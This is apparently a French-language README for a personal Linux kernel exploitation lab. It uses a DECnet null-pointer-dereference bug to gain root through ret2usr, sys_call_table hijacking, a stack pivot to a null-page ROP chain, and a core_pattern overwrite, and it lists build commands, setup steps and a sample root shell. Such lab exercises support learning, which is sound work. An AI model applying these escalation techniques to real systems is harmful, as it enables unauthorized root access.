
Pratique de LPE du noyau Linux avec une vulnérabilité NPD
Pratique de différentes techniques d'exploitation du noyau Linux avec ma vulnérabilité DECnet et le mappage de page nulle activé.
Tout désactivé : qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"
L'exécution du code est redirigée vers la fonction output en espace utilisateur, qui invoque commit_creds(prepare_kernel_cred(0)).
Interception d'appel système
Échanger l'adresse du gestionnaire d'appel système mkdir dans sys_call_table avec une fonction ressemblant à celle du Scénario 1.
SMEP et KPTI activés : qemu-system-x86_64 -append "nosmap nokaslr"
L'exécution du code est redirigée vers un pivot de pile qui définit $rsp sur une chaîne ROP dans la page nulle.
Assistant en mode utilisateur
Le sysctl core_pattern est écrasé pour spécifier une commande à exécuter avec des privilèges élevés lors du vidage de mémoire.
Le programme est ensuite interrompu avec le signal SIGABRT pour déclencher le script en mode utilisateur.
apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie
Configurer DECnet en tant que root :
sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address
Exécuter l'exploit en tant qu'utilisateur non privilégié :
$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#